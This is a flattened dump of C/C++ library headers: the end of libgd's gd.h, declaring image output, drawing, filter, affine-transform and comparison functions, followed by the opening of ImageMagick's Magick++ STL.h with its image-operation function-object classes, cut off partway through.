gdImageWBMPPtr (gdImagePtr im, int *size, int fg); /* 100 is highest quality (there is always a little loss with JPEG). 0 is lowest. 10 is about the lowest useful setting. */ BGD_DECLARE(void) gdImageJpeg (gdImagePtr im, FILE * out, int quality); BGD_DECLARE(void) gdImageJpegCtx (gdImagePtr im, gdIOCtx * out, int quality); /* Best to free this memory with gdFree(), not free() */ BGD_DECLARE(void *) gdImageJpegPtr (gdImagePtr im, int *size, int quality); BGD_DECLARE(void) gdImageWebpEx (gdImagePtr im, FILE * outFile, int quantization); BGD_DECLARE(void) gdImageWebp (gdImagePtr im, FILE * outFile); BGD_DECLARE(void *) gdImageWebpPtr (gdImagePtr im, int *size); BGD_DECLARE(void *) gdImageWebpPtrEx (gdImagePtr im, int *size, int quantization); BGD_DECLARE(void) gdImageWebpCtx (gdImagePtr im, gdIOCtx * outfile, int quantization); /** * Group: GifAnim * * Legal values for Disposal. gdDisposalNone is always used by * the built-in optimizer if previm is passed. * * Constants: gdImageGifAnim * * gdDisposalUnknown - Not recommended * gdDisposalNone - Preserve previous frame * gdDisposalRestoreBackground - First allocated color of palette * gdDisposalRestorePrevious - Restore to before start of frame * * See also: * - <gdImageGifAnimAdd> */ enum { gdDisposalUnknown, gdDisposalNone, gdDisposalRestoreBackground, gdDisposalRestorePrevious }; BGD_DECLARE(void) gdImageGifAnimBegin(gdImagePtr im, FILE *outFile, int GlobalCM, int Loops); BGD_DECLARE(void) gdImageGifAnimAdd(gdImagePtr im, FILE *outFile, int LocalCM, int LeftOfs, int TopOfs, int Delay, int Disposal, gdImagePtr previm); BGD_DECLARE(void) gdImageGifAnimEnd(FILE *outFile); BGD_DECLARE(void) gdImageGifAnimBeginCtx(gdImagePtr im, gdIOCtx *out, int GlobalCM, int Loops); BGD_DECLARE(void) gdImageGifAnimAddCtx(gdImagePtr im, gdIOCtx *out, int LocalCM, int LeftOfs, int TopOfs, int Delay, int Disposal, gdImagePtr previm); BGD_DECLARE(void) gdImageGifAnimEndCtx(gdIOCtx *out); BGD_DECLARE(void *) gdImageGifAnimBeginPtr(gdImagePtr im, int *size, int GlobalCM, int Loops); BGD_DECLARE(void *) gdImageGifAnimAddPtr(gdImagePtr im, int *size, int LocalCM, int LeftOfs, int TopOfs, int Delay, int Disposal, gdImagePtr previm); BGD_DECLARE(void *) gdImageGifAnimEndPtr(int *size); /* Group: Types typedef: gdSink typedef: gdSinkPtr *Note:* This interface is *obsolete* and kept only for *compatibility*. Use <gdIOCtx> instead. Represents a "sink" (destination) to which a PNG can be written. Programmers who do not wish to write PNGs to a file can provide their own alternate output mechanism, using the <gdImagePngToSink> function. See the documentation of that function for an example of the proper use of this type. > typedef struct { > int (*sink) (void *context, char *buffer, int len); > void *context; > } gdSink, *gdSinkPtr; The _sink_ function must return -1 on error, otherwise the number of bytes written, which must be equal to len. _context_ will be passed to your sink function. */ typedef struct { int (*sink) (void *context, const char *buffer, int len); void *context; } gdSink, *gdSinkPtr; BGD_DECLARE(void) gdImagePngToSink (gdImagePtr im, gdSinkPtr out); BGD_DECLARE(void) gdImageGd (gdImagePtr im, FILE * out); BGD_DECLARE(void) gdImageGd2 (gdImagePtr im, FILE * out, int cs, int fmt); /* Best to free this memory with gdFree(), not free() */ BGD_DECLARE(void *) gdImageGifPtr (gdImagePtr im, int *size); /* Best to free this memory with gdFree(), not free() */ BGD_DECLARE(void *) gdImagePngPtr (gdImagePtr im, int *size); BGD_DECLARE(void *) gdImagePngPtrEx (gdImagePtr im, int *size, int level); /* Best to free this memory with gdFree(), not free() */ BGD_DECLARE(void *) gdImageGdPtr (gdImagePtr im, int *size); /* Best to free this memory with gdFree(), not free() */ BGD_DECLARE(void *) gdImageGd2Ptr (gdImagePtr im, int cs, int fmt, int *size); /* Style is a bitwise OR ( | operator ) of these. gdArc and gdChord are mutually exclusive; gdChord just connects the starting and ending angles with a straight line, while gdArc produces a rounded edge. gdPie is a synonym for gdArc. gdNoFill indicates that the arc or chord should be outlined, not filled. gdEdged, used together with gdNoFill, indicates that the beginning and ending angles should be connected to the center; this is a good way to outline (rather than fill) a 'pie slice'. */ #define gdArc 0 #define gdPie gdArc #define gdChord 1 #define gdNoFill 2 #define gdEdged 4 BGD_DECLARE(void) gdImageFilledArc (gdImagePtr im, int cx, int cy, int w, int h, int s, int e, int color, int style); BGD_DECLARE(void) gdImageArc (gdImagePtr im, int cx, int cy, int w, int h, int s, int e, int color); BGD_DECLARE(void) gdImageEllipse(gdImagePtr im, int cx, int cy, int w, int h, int color); BGD_DECLARE(void) gdImageFilledEllipse (gdImagePtr im, int cx, int cy, int w, int h, int color); BGD_DECLARE(void) gdImageFillToBorder (gdImagePtr im, int x, int y, int border, int color); BGD_DECLARE(void) gdImageFill (gdImagePtr im, int x, int y, int color); BGD_DECLARE(void) gdImageCopy (gdImagePtr dst, gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int w, int h); BGD_DECLARE(void) gdImageCopyMerge (gdImagePtr dst, gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int w, int h, int pct); BGD_DECLARE(void) gdImageCopyMergeGray (gdImagePtr dst, gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int w, int h, int pct); /* Stretches or shrinks to fit, as needed. Does NOT attempt to average the entire set of source pixels that scale down onto the destination pixel. */ BGD_DECLARE(void) gdImageCopyResized (gdImagePtr dst, gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int dstW, int dstH, int srcW, int srcH); /* gd 2.0: stretches or shrinks to fit, as needed. When called with a truecolor destination image, this function averages the entire set of source pixels that scale down onto the destination pixel, taking into account what portion of the destination pixel each source pixel represents. This is a floating point operation, but this is not a performance issue on modern hardware, except for some embedded devices. If the destination is a palette image, gdImageCopyResized is substituted automatically. */ BGD_DECLARE(void) gdImageCopyResampled (gdImagePtr dst, gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int dstW, int dstH, int srcW, int srcH); /* gd 2.0.8: gdImageCopyRotated is added. Source is a rectangle, with its upper left corner at srcX and srcY. Destination is the *center* of the rotated copy. Angle is in degrees, same as gdImageArc. Floating point destination center coordinates allow accurate rotation of objects of odd-numbered width or height. */ BGD_DECLARE(void) gdImageCopyRotated (gdImagePtr dst, gdImagePtr src, double dstX, double dstY, int srcX, int srcY, int srcWidth, int srcHeight, int angle); BGD_DECLARE(gdImagePtr) gdImageClone (gdImagePtr src); BGD_DECLARE(void) gdImageSetBrush (gdImagePtr im, gdImagePtr brush); BGD_DECLARE(void) gdImageSetTile (gdImagePtr im, gdImagePtr tile); BGD_DECLARE(void) gdImageSetAntiAliased (gdImagePtr im, int c); BGD_DECLARE(void) gdImageSetAntiAliasedDontBlend (gdImagePtr im, int c, int dont_blend); BGD_DECLARE(void) gdImageSetStyle (gdImagePtr im, int *style, int noOfPixels); /* Line thickness (defaults to 1). Affects lines, ellipses, rectangles, polygons and so forth. */ BGD_DECLARE(void) gdImageSetThickness (gdImagePtr im, int thickness); /* On or off (1 or 0) for all three of these. */ BGD_DECLARE(void) gdImageInterlace (gdImagePtr im, int interlaceArg); BGD_DECLARE(void) gdImageAlphaBlending (gdImagePtr im, int alphaBlendingArg); BGD_DECLARE(void) gdImageSaveAlpha (gdImagePtr im, int saveAlphaArg); BGD_DECLARE(gdImagePtr) gdImageNeuQuant(gdImagePtr im, const int max_color, int sample_factor); enum gdPixelateMode { GD_PIXELATE_UPPERLEFT, GD_PIXELATE_AVERAGE }; BGD_DECLARE(int) gdImagePixelate(gdImagePtr im, int block_size, const unsigned int mode); typedef struct { int sub; int plus; unsigned int num_colors; int *colors; unsigned int seed; } gdScatter, *gdScatterPtr; BGD_DECLARE(int) gdImageScatter(gdImagePtr im, int sub, int plus); BGD_DECLARE(int) gdImageScatterColor(gdImagePtr im, int sub, int plus, int colors[], unsigned int num_colors); BGD_DECLARE(int) gdImageScatterEx(gdImagePtr im, gdScatterPtr s); BGD_DECLARE(int) gdImageSmooth(gdImagePtr im, float weight); BGD_DECLARE(int) gdImageMeanRemoval(gdImagePtr im); BGD_DECLARE(int) gdImageEmboss(gdImagePtr im); BGD_DECLARE(int) gdImageGaussianBlur(gdImagePtr im); BGD_DECLARE(int) gdImageEdgeDetectQuick(gdImagePtr src); BGD_DECLARE(int) gdImageSelectiveBlur( gdImagePtr src); BGD_DECLARE(int) gdImageConvolution(gdImagePtr src, float filter[3][3], float filter_div, float offset); BGD_DECLARE(int) gdImageColor(gdImagePtr src, const int red, const int green, const int blue, const int alpha); BGD_DECLARE(int) gdImageContrast(gdImagePtr src, double contrast); BGD_DECLARE(int) gdImageBrightness(gdImagePtr src, int brightness); BGD_DECLARE(int) gdImageGrayScale(gdImagePtr src); BGD_DECLARE(int) gdImageNegate(gdImagePtr src); BGD_DECLARE(gdImagePtr) gdImageCopyGaussianBlurred(gdImagePtr src, int radius, double sigma); /** * Group: Accessor Macros */ /** * Macro: gdImageTrueColor * * Whether an image is a truecolor image. * * Parameters: * im - The image. * * Returns: * Non-zero if the image is a truecolor image, zero for palette images. */ #define gdImageTrueColor(im) ((im)->trueColor) /** * Macro: gdImageSX * * Gets the width (in pixels) of an image. * * Parameters: * im - The image. */ #define gdImageSX(im) ((im)->sx) /** * Macro: gdImageSY * * Gets the height (in pixels) of an image. * * Parameters: * im - The image. */ #define gdImageSY(im) ((im)->sy) /** * Macro: gdImageColorsTotal * * Gets the number of colors in the palette. * * This macro is only valid for palette images. * * Parameters: * im - The image */ #define gdImageColorsTotal(im) ((im)->colorsTotal) /** * Macro: gdImageRed * * Gets the red component value of a given color. * * Parameters: * im - The image. * c - The color. */ #define gdImageRed(im, c) ((im)->trueColor ? gdTrueColorGetRed(c) : \ (im)->red[(c)]) /** * Macro: gdImageGreen * * Gets the green component value of a given color. * * Parameters: * im - The image. * c - The color. */ #define gdImageGreen(im, c) ((im)->trueColor ? gdTrueColorGetGreen(c) : \ (im)->green[(c)]) /** * Macro: gdImageBlue * * Gets the blue component value of a given color. * * Parameters: * im - The image. * c - The color. */ #define gdImageBlue(im, c) ((im)->trueColor ? gdTrueColorGetBlue(c) : \ (im)->blue[(c)]) /** * Macro: gdImageAlpha * * Gets the alpha component value of a given color. * * Parameters: * im - The image. * c - The color. */ #define gdImageAlpha(im, c) ((im)->trueColor ? gdTrueColorGetAlpha(c) : \ (im)->alpha[(c)]) /** * Macro: gdImageGetTransparent * * Gets the transparent color of the image. * * Parameters: * im - The image. * * See also: * - <gdImageColorTransparent> */ #define gdImageGetTransparent(im) ((im)->transparent) /** * Macro: gdImageGetInterlaced * * Whether an image is interlaced. * * Parameters: * im - The image. * * Returns: * Non-zero for interlaced images, zero otherwise. * * See also: * - <gdImageInterlace> */ #define gdImageGetInterlaced(im) ((im)->interlace) /** * Macro: gdImagePalettePixel * * Gets the color of a pixel. * * Calling this macro is only valid for palette images. * No bounds checking is done for the coordinates. * * Parameters: * im - The image. * x - The x-coordinate. * y - The y-coordinate. * * See also: * - <gdImageTrueColorPixel> * - <gdImageGetPixel> */ #define gdImagePalettePixel(im, x, y) (im)->pixels[(y)][(x)] /** * Macro: gdImageTrueColorPixel * * Gets the color of a pixel. * * Calling this macro is only valid for truecolor images. * No bounds checking is done for the coordinates. * * Parameters: * im - The image. * x - The x-coordinate. * y - The y-coordinate. * * See also: * - <gdImagePalettePixel> * - <gdImageGetTrueColorPixel> */ #define gdImageTrueColorPixel(im, x, y) (im)->tpixels[(y)][(x)] /** * Macro: gdImageResolutionX * * Gets the horizontal resolution in DPI. * * Parameters: * im - The image. * * See also: * - <gdImageResolutionY> * - <gdImageSetResolution> */ #define gdImageResolutionX(im) (im)->res_x /** * Macro: gdImageResolutionY * * Gets the vertical resolution in DPI. * * Parameters: * im - The image. * * See also: * - <gdImageResolutionX> * - <gdImageSetResolution> */ #define gdImageResolutionY(im) (im)->res_y /* I/O Support routines. */ BGD_DECLARE(gdIOCtx *) gdNewFileCtx (FILE *); /* If data is null, size is ignored and an initial data buffer is allocated automatically. NOTE: this function assumes gd has the right to free or reallocate "data" at will! Also note that gd will free "data" when the IO context is freed. If data is not null, it must point to memory allocated with gdMalloc, or by a call to gdImage[something]Ptr. If not, see gdNewDynamicCtxEx for an alternative. */ BGD_DECLARE(gdIOCtx *) gdNewDynamicCtx (int size, void *data); /* 2.0.21: if freeFlag is nonzero, gd will free and/or reallocate "data" as needed as described above. If freeFlag is zero, gd will never free or reallocate "data", which means that the context should only be used for *reading* an image from a memory buffer, or writing an image to a memory buffer which is already large enough. If the memory buffer is not large enough and an image write is attempted, the write operation will fail. Those wishing to write an image to a buffer in memory have a much simpler alternative in the gdImage[something]Ptr functions. */ BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx (int size, void *data, int freeFlag); BGD_DECLARE(gdIOCtx *) gdNewSSCtx (gdSourcePtr in, gdSinkPtr out); BGD_DECLARE(void *) gdDPExtractData (struct gdIOCtx *ctx, int *size); #define GD2_CHUNKSIZE 128 #define GD2_CHUNKSIZE_MIN 64 #define GD2_CHUNKSIZE_MAX 4096 #define GD2_VERS 2 #define GD2_ID "gd2" #define GD2_FMT_RAW 1 #define GD2_FMT_COMPRESSED 2 /* Image comparison definitions */ BGD_DECLARE(int) gdImageCompare (gdImagePtr im1, gdImagePtr im2); BGD_DECLARE(void) gdImageFlipHorizontal(gdImagePtr im); BGD_DECLARE(void) gdImageFlipVertical(gdImagePtr im); BGD_DECLARE(void) gdImageFlipBoth(gdImagePtr im); #define GD_FLIP_HORINZONTAL 1 #define GD_FLIP_VERTICAL 2 #define GD_FLIP_BOTH 3 /** * Group: Crop * * Constants: gdCropMode * GD_CROP_DEFAULT - Default crop mode (4 corners or background) * GD_CROP_TRANSPARENT - Crop using the transparent color * GD_CROP_BLACK - Crop black borders * GD_CROP_WHITE - Crop white borders * GD_CROP_SIDES - Crop using colors of the 4 corners * * See also: * - <gdImageCropAuto> **/ enum gdCropMode { GD_CROP_DEFAULT = 0, GD_CROP_TRANSPARENT, GD_CROP_BLACK, GD_CROP_WHITE, GD_CROP_SIDES, GD_CROP_THRESHOLD }; BGD_DECLARE(gdImagePtr) gdImageCrop(gdImagePtr src, const gdRect *crop); BGD_DECLARE(gdImagePtr) gdImageCropAuto(gdImagePtr im, const unsigned int mode); BGD_DECLARE(gdImagePtr) gdImageCropThreshold(gdImagePtr im, const unsigned int color, const float threshold); BGD_DECLARE(int) gdImageSetInterpolationMethod(gdImagePtr im, gdInterpolationMethod id); BGD_DECLARE(gdInterpolationMethod) gdImageGetInterpolationMethod(gdImagePtr im); BGD_DECLARE(gdImagePtr) gdImageScale(const gdImagePtr src, const unsigned int new_width, const unsigned int new_height); BGD_DECLARE(gdImagePtr) gdImageRotateInterpolated(const gdImagePtr src, const float angle, int bgcolor); typedef enum { GD_AFFINE_TRANSLATE = 0, GD_AFFINE_SCALE, GD_AFFINE_ROTATE, GD_AFFINE_SHEAR_HORIZONTAL, GD_AFFINE_SHEAR_VERTICAL } gdAffineStandardMatrix; BGD_DECLARE(int) gdAffineApplyToPointF (gdPointFPtr dst, const gdPointFPtr src, const double affine[6]); BGD_DECLARE(int) gdAffineInvert (double dst[6], const double src[6]); BGD_DECLARE(int) gdAffineFlip (double dst_affine[6], const double src_affine[6], const int flip_h, const int flip_v); BGD_DECLARE(int) gdAffineConcat (double dst[6], const double m1[6], const double m2[6]); BGD_DECLARE(int) gdAffineIdentity (double dst[6]); BGD_DECLARE(int) gdAffineScale (double dst[6], const double scale_x, const double scale_y); BGD_DECLARE(int) gdAffineRotate (double dst[6], const double angle); BGD_DECLARE(int) gdAffineShearHorizontal (double dst[6], const double angle); BGD_DECLARE(int) gdAffineShearVertical(double dst[6], const double angle); BGD_DECLARE(int) gdAffineTranslate (double dst[6], const double offset_x, const double offset_y); BGD_DECLARE(double) gdAffineExpansion (const double src[6]); BGD_DECLARE(int) gdAffineRectilinear (const double src[6]); BGD_DECLARE(int) gdAffineEqual (const double matrix1[6], const double matrix2[6]); BGD_DECLARE(int) gdTransformAffineGetImage(gdImagePtr *dst, const gdImagePtr src, gdRectPtr src_area, const double affine[6]); BGD_DECLARE(int) gdTransformAffineCopy(gdImagePtr dst, int dst_x, int dst_y, const gdImagePtr src, gdRectPtr src_region, const double affine[6]); /* gdTransformAffineCopy(gdImagePtr dst, int x0, int y0, int x1, int y1, const gdImagePtr src, int src_width, int src_height, const double affine[6]); */ BGD_DECLARE(int) gdTransformAffineBoundingBox(gdRectPtr src, const double affine[6], gdRectPtr bbox); /** * Group: Image Comparison * * Constants: * GD_CMP_IMAGE - Actual image IS different * GD_CMP_NUM_COLORS - Number of colors in pallette differ * GD_CMP_COLOR - Image colors differ * GD_CMP_SIZE_X - Image width differs * GD_CMP_SIZE_Y - Image heights differ * GD_CMP_TRANSPARENT - Transparent color differs * GD_CMP_BACKGROUND - Background color differs * GD_CMP_INTERLACE - Interlaced setting differs * GD_CMP_TRUECOLOR - Truecolor vs palette differs * * See also: * - <gdImageCompare> */ #define GD_CMP_IMAGE 1 #define GD_CMP_NUM_COLORS 2 #define GD_CMP_COLOR 4 #define GD_CMP_SIZE_X 8 #define GD_CMP_SIZE_Y 16 #define GD_CMP_TRANSPARENT 32 #define GD_CMP_BACKGROUND 64 #define GD_CMP_INTERLACE 128 #define GD_CMP_TRUECOLOR 256 /* resolution affects ttf font rendering, particularly hinting */ #define GD_RESOLUTION 96 /* pixels per inch */ /* Version information functions */ BGD_DECLARE(int) gdMajorVersion(void); BGD_DECLARE(int) gdMinorVersion(void); BGD_DECLARE(int) gdReleaseVersion(void); BGD_DECLARE(const char *) gdExtraVersion(void); BGD_DECLARE(const char *) gdVersionString(void); #ifdef __cplusplus } #endif /* newfangled special effects */ #include "gdfx.h" #endif /* GD_H */ #ifdef __cplusplus } #endif ImageMagick-6/Magick++/STL.h 0000644 00000213346 15246445046 0011224 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002, 2003 // Copyright Dirk Lemstra 2013-2014 // // Definition and implementation of template functions for using // Magick::Image with STL containers. // #ifndef Magick_STL_header #define Magick_STL_header #include "Magick++/Include.h" #include <algorithm> #include <functional> #include <iterator> #include <map> #include <utility> #include "Magick++/CoderInfo.h" #include "Magick++/Drawable.h" #include "Magick++/Exception.h" #include "Magick++/Montage.h" namespace Magick { // // STL function object declarations/definitions // // Function objects provide the means to invoke an operation on one // or more image objects in an STL-compatable container. The // arguments to the function object constructor(s) are compatable // with the arguments to the equivalent Image class method and // provide the means to supply these options when the function // object is invoked. // For example, to read a GIF animation, set the color red to // transparent for all frames, and write back out: // // list<image> images; // readImages( &images, "animation.gif" ); // for_each( images.begin(), images.end(), transparentImage( "red" ) ); // writeImages( images.begin(), images.end(), "animation.gif" ); // Adaptive-blur image with specified blur factor class MagickPPExport adaptiveBlurImage { public: adaptiveBlurImage( const double radius_ = 1, const double sigma_ = 0.5 ); void operator()( Image &image_ ) const; private: double _radius; double _sigma; }; // Local adaptive threshold image // http://www.dai.ed.ac.uk/HIPR2/adpthrsh.htm // Width x height define the size of the pixel neighborhood // offset = constant to subtract from pixel neighborhood mean class MagickPPExport adaptiveThresholdImage { public: adaptiveThresholdImage( const size_t width_, const size_t height_, const ::ssize_t offset_ = 0 ); void operator()( Image &image_ ) const; private: size_t _width; size_t _height; ::ssize_t _offset; }; // Add noise to image with specified noise type class MagickPPExport addNoiseImage { public: addNoiseImage ( NoiseType noiseType_ ); void operator()( Image &image_ ) const; private: NoiseType _noiseType; }; // Transform image by specified affine (or free transform) matrix. class MagickPPExport affineTransformImage { public: affineTransformImage( const DrawableAffine &affine_ ); void operator()( Image &image_ ) const; private: DrawableAffine _affine; }; // Annotate image (draw text on image) class MagickPPExport annotateImage { public: // Annotate using specified text, and placement location annotateImage ( const std::string &text_, const Geometry &geometry_ ); // Annotate using specified text, bounding area, and placement // gravity annotateImage ( const std::string &text_, const Geometry &geometry_, const GravityType gravity_ ); // Annotate with text using specified text, bounding area, // placement gravity, and rotation. annotateImage ( const std::string &text_, const Geometry &geometry_, const GravityType gravity_, const double degrees_ ); // Annotate with text (bounding area is entire image) and // placement gravity. annotateImage ( const std::string &text_, const GravityType gravity_ ); void operator()( Image &image_ ) const; private: const std::string _text; const Geometry _geometry; const GravityType _gravity; const double _degrees; }; // Blur image with specified blur factor class MagickPPExport blurImage { public: blurImage( const double radius_ = 1, const double sigma_ = 0.5 ); void operator()( Image &image_ ) const; private: double _radius; double _sigma; }; // Border image (add border to image) class MagickPPExport borderImage { public: borderImage( const Geometry &geometry_ = borderGeometryDefault ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // Extract channel from image class MagickPPExport channelImage { public: channelImage( const ChannelType channel_ ); void operator()( Image &image_ ) const; private: ChannelType _channel; }; // Charcoal effect image (looks like charcoal sketch) class MagickPPExport charcoalImage { public: charcoalImage( const double radius_ = 1, const double sigma_ = 0.5 ); void operator()( Image &image_ ) const; private: double _radius; double _sigma; }; // Chop image (remove vertical or horizontal subregion of image) class MagickPPExport chopImage { public: chopImage( const Geometry &geometry_ ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // Accepts a lightweight Color Correction Collection (CCC) file which solely // contains one or more color corrections and applies the correction to the // image. class MagickPPExport cdlImage { public: cdlImage( const std::string &cdl_ ); void operator()( Image &image_ ) const; private: std::string _cdl; }; // Colorize image using pen color at specified percent opacity class MagickPPExport colorizeImage { public: colorizeImage( const unsigned int opacityRed_, const unsigned int opacityGreen_, const unsigned int opacityBlue_, const Color &penColor_ ); colorizeImage( const unsigned int opacity_, const Color &penColor_ ); void operator()( Image &image_ ) const; private: unsigned int _opacityRed; unsigned int _opacityGreen; unsigned int _opacityBlue; Color _penColor; }; // Apply a color matrix to the image channels. The user supplied // matrix may be of order 1 to 5 (1x1 through 5x5). class MagickPPExport colorMatrixImage { public: colorMatrixImage( const size_t order_, const double *color_matrix_ ); void operator()( Image &image_ ) const; private: size_t _order; const double *_color_matrix; }; // Convert the image colorspace representation class MagickPPExport colorSpaceImage { public: colorSpaceImage( ColorspaceType colorSpace_ ); void operator()( Image &image_ ) const; private: ColorspaceType _colorSpace; }; // Comment image (add comment string to image) class MagickPPExport commentImage { public: commentImage( const std::string &comment_ ); void operator()( Image &image_ ) const; private: std::string _comment; }; // Compose an image onto another at specified offset and using // specified algorithm class MagickPPExport compositeImage { public: compositeImage( const Image &compositeImage_, ::ssize_t xOffset_, ::ssize_t yOffset_, CompositeOperator compose_ = InCompositeOp ); compositeImage( const Image &compositeImage_, const Geometry &offset_, CompositeOperator compose_ = InCompositeOp ); void operator()( Image &image_ ) const; private: Image _compositeImage; ::ssize_t _xOffset; ::ssize_t _yOffset; CompositeOperator _compose; }; // Contrast image (enhance intensity differences in image) class MagickPPExport contrastImage { public: contrastImage( const size_t sharpen_ ); void operator()( Image &image_ ) const; private: size_t _sharpen; }; // Crop image (subregion of original image) class MagickPPExport cropImage { public: cropImage( const Geometry &geometry_ ); void operator()( Image &image_ ) const; private: Geometry _geometry; }; // Cycle image colormap class MagickPPExport cycleColormapImage { public: cycleColormapImage( const ::ssize_t amount_ ); void operator()( Image &image_ ) const; private: ::ssize_t _amount; }; // Despeckle image (reduce speckle noise) class MagickPPExport despeckleImage { public: despeckleImage( void ); void operator()( Image &image_ ) const; private: }; // Distort image. distorts an image using various distortion methods, by // mapping color lookups of the source image to a new destination image // usually of the same size as the source image, unless 'bestfit' is set to // true. class MagickPPExport distortImage { public: distortImage( const Magick::DistortImageMethod method_, const size_t number_arguments_, const double *arguments_, const bool bestfit_ ); distortImage( const Magick::DistortImageMethod method_, const size_t number_arguments_, const double *arguments_ ); void operator()( Image &image_ ) const; private: DistortImageMethod _method; size_t _number_arguments; const double *_arguments; bool _bestfit; }; // Draw on image class MagickPPExport drawImage { public: // Draw on image using a single drawable // Store in list to make implementation easier drawImage( const Drawable &drawable_ ); // Draw on image using a drawable list drawImage( const DrawableList &drawable_ ); void operator()( Image &image_ ) const; private: DrawableList _drawableList; }; // Edge image (highlight edges in image) class MagickPPExport edgeImage { public: edgeImage( const double radius_ = 0.0 ); void operator()( Image &image_ ) const; private: double _radius; }; // Emboss image (highlight edges with 3D effect) class MagickPPExport embossImage { public: embossImage( void ); embossImage( const double radius_, const double sigma_ ); void operator()( Image &image_ ) const; private: double _radius; double _sigma; }; // Enhance image (minimize noise) class MagickPPExport enhanceImage { public: enhanceImage( void ); void operator()( Image &image_ ) const; private: }; // Equalize image (histogram equalization) class MagickPPExport equalizeImage { public: equalizeImage( void ); void operator()( Image &image_ ) const; private: }; // Color to use when filling drawn objects class MagickPPExport fillColorImage { public: fillColorImage( const Color &fillColor_ ); void operator()( Image &image_ ) const; private: Color _fillColor; }; // Flip image (reflect each scanline in the vertical direction) class MagickPPExport flipImage { public: flipImage( void ); void operator()( Image &image_ ) const; private: }; // Flood-fill image with color class MagickPPExport floodFillColorImage { public: // Flood-fill color across pixels starting at target-pixel and // stopping at pixels matching specified border color. // Uses current fuzz setting when determining color match. floodFillColorImage( const ::ssize_t x_, const ::ssize_t y_, const Color &fillColor_ ); floodFillColorImage( const Geometry &point_, const Color &fillColor_ ); // Flood-fill color across pixels starting at target-pixel and // stopping at pixels matching specified border color. // Uses current fuzz setting when determining color match. floodFillColorImage( const ::ssize_t x_, const ::ssize_t y_, const Color &fillColor_, const Color &borderColor_ ); floodFillColorImage( const Geometry &point_, const Color &fillColor_, const Color &borderColor_ ); void operator()( Image &image_ ) const; private: ::ssize_t _x; ::ssize_t _y; Color _fillColor; Color _borderColor; }; // Flood-fill image with texture class MagickPPExport floodFillTextureImage { public: // Flood-fill texture across pixels that match the color of the // target pixel and are neighbors of the target pixel. // Uses current fuzz setting when determining color match. floodFillTextureImage( const ::ssize_t x_, const ::ssize_t y_, const Image &texture_ ); floodFillTextureImage( const Geometry &point_, const Image &texture_ ); // Flood-fill texture across pixels starting at target-pixel and // stopping at pixels matching specified border color. // Uses current fuzz setting when determining color match. floodFillTextureImage( const ::ssize_t x_, const ::ssize_t y_, const Image &texture_, const Color &borderColor_ ); floodFillTextureImage( const Geometry &point_, const Image &texture_, const Color &borderColor_ ); void operator()( Image &image_ ) const; private: ::ssize_t _x; ::ssize_t _y; Image _texture; Color _borderColor; }; // Flop image (reflect each scanline in the horizontal direction) class MagickPPExport flopImage { public: flopImage( void ); void operator()( Image &image_ ) const; private: }; // Frame image class MagickPPExport frameImage { public: frameImage( const Geometry &geometry_ = frameGeometryDefault ); frameImage( const size_t width_, const size_t height_, const ::ssize_t innerBevel_ = 6, const ::ssize_t outerBevel_ = 6 ); void operator()( Image &image_ ) const; private: size_t _width; size_t _height; ::ssize_t _outerBevel; ::ssize_t _innerBevel; }; // Gamma correct image class MagickPPExport gammaImage { public: gammaImage( const double gamma_ ); gammaImage ( const double gammaRed_, const double gammaGreen_, const double gammaBlue_ ); void operator()( Image &image_ ) const; private: double _gammaRed; double _gammaGreen; double _gammaBlue; }; // Gaussian blur image // The number of neighbor pixels to be included in the convolution // mask is specified by 'width_'. The standard deviation of the // gaussian bell curve is specified by 'sigma_'. class MagickPPExport gaussianBlurImage { public: gaussianBlurImage( const double width_, const double sigma_ ); void operator()( Image &image_ ) const; private: double _width; double _sigma; }; // Apply a color lookup table (Hald CLUT) to the image. class MagickPPExport haldClutImage { public: haldClutImage( const Image &haldClutImage_ ); void operator()( Image &image_ ) const; private: Image _haldClutImage; }; // Implode image (special effect) class MagickPPExport implodeImage { public: implodeImage( const double factor_ = 50 ); void operator()( Image &image_ ) const; private: double _factor; }; // implements the inverse discrete Fourier transform (IFT) of the image // either as a magnitude / phase or real / imaginary image pair. class MagickPPExport inverseFourierTransformImage { public: inverseFourierTransformImage( const Image &phaseImage_ ); void operator()( Image &image_ ) const; private: Image _phaseImage; }; // Set image validity. Valid images become empty (inValid) if // argument is false. class MagickPPExport isValidImage { public: isValidImage( const bool isValid_ ); void operator()( Image &image_ ) const; private: bool _isValid; }; // Label image class MagickPPExport labelImage { public: labelImage( const std::string &label_ ); void operator()( Image &image_ ) const; private: std::string _label; }; // Level image class MagickPPExport levelImage { public: levelImage( const double black_point, const double white_point, const double mid_point=1.0 ); void operator()( Image &image_ ) const; private: double _black_point; double _white_point; double _mid_point; }; // Level image channel class MagickPPExport levelChannelImage { public: levelChannelImage( const Magick::ChannelType channel, const double black_point, const double white_point, const double mid_point=1.0 ); void operator()( Image &image_ ) const; private: Magick::ChannelType _channel; double _black_point; double _white_point; double _mid_point; }; // Magnify image by integral size class MagickPPExport magnifyImage { public: magnifyImage( void ); void operator()( Image &image_ ) const; private: }; // Remap image colors with closest color from reference image class MagickPPExport mapImage { public: mapImage( const Image &mapImage_ , const bool dither_ = false ); void operator()( Image &image_ ) const; private: Image _mapImage; bool _dither; }; // Floodfill designated area with a matte value class MagickPPExport matteFloodfillImage { public: matteFloodfillImage( const Color &target_ , const unsigned int matte_, const ::ssize_t x_, const ::ssize_t y_, const PaintMethod method_ ); void operator()( Image &image_ ) const; private: Color _target; unsigned int _matte; ::ssize_t _x; ::ssize_t _y; PaintMethod _method; }; // Filter image by replacing each pixel component with the median // color in a circular neighborhood class MagickPPExport medianFilterImage { public: medianFilterImage( const double radius_ = 0.0 ); void operator()( Image &image_ ) const; private: double _radius; }; // Merge image layers class MagickPPExport mergeLayersImage { public: mergeLayersImage ( ImageLayerMethod layerMethod_ ); void operator()( Image &image_ ) const; private: ImageLayerMethod _layerMethod; }; // Reduce image by integral size class MagickPPExport minifyImage { public: minifyImage( void ); void operator()( Image &image_ ) const; private: }; // Modulate percent hue, saturation, and brightness of an image class MagickPPExport modulateImage { public: modulateImage( const double brightness_, const double saturation_, const double hue_ ); void operator()( Image &image_ ) const; private: double _brightness; double _saturation; double _hue; }; // 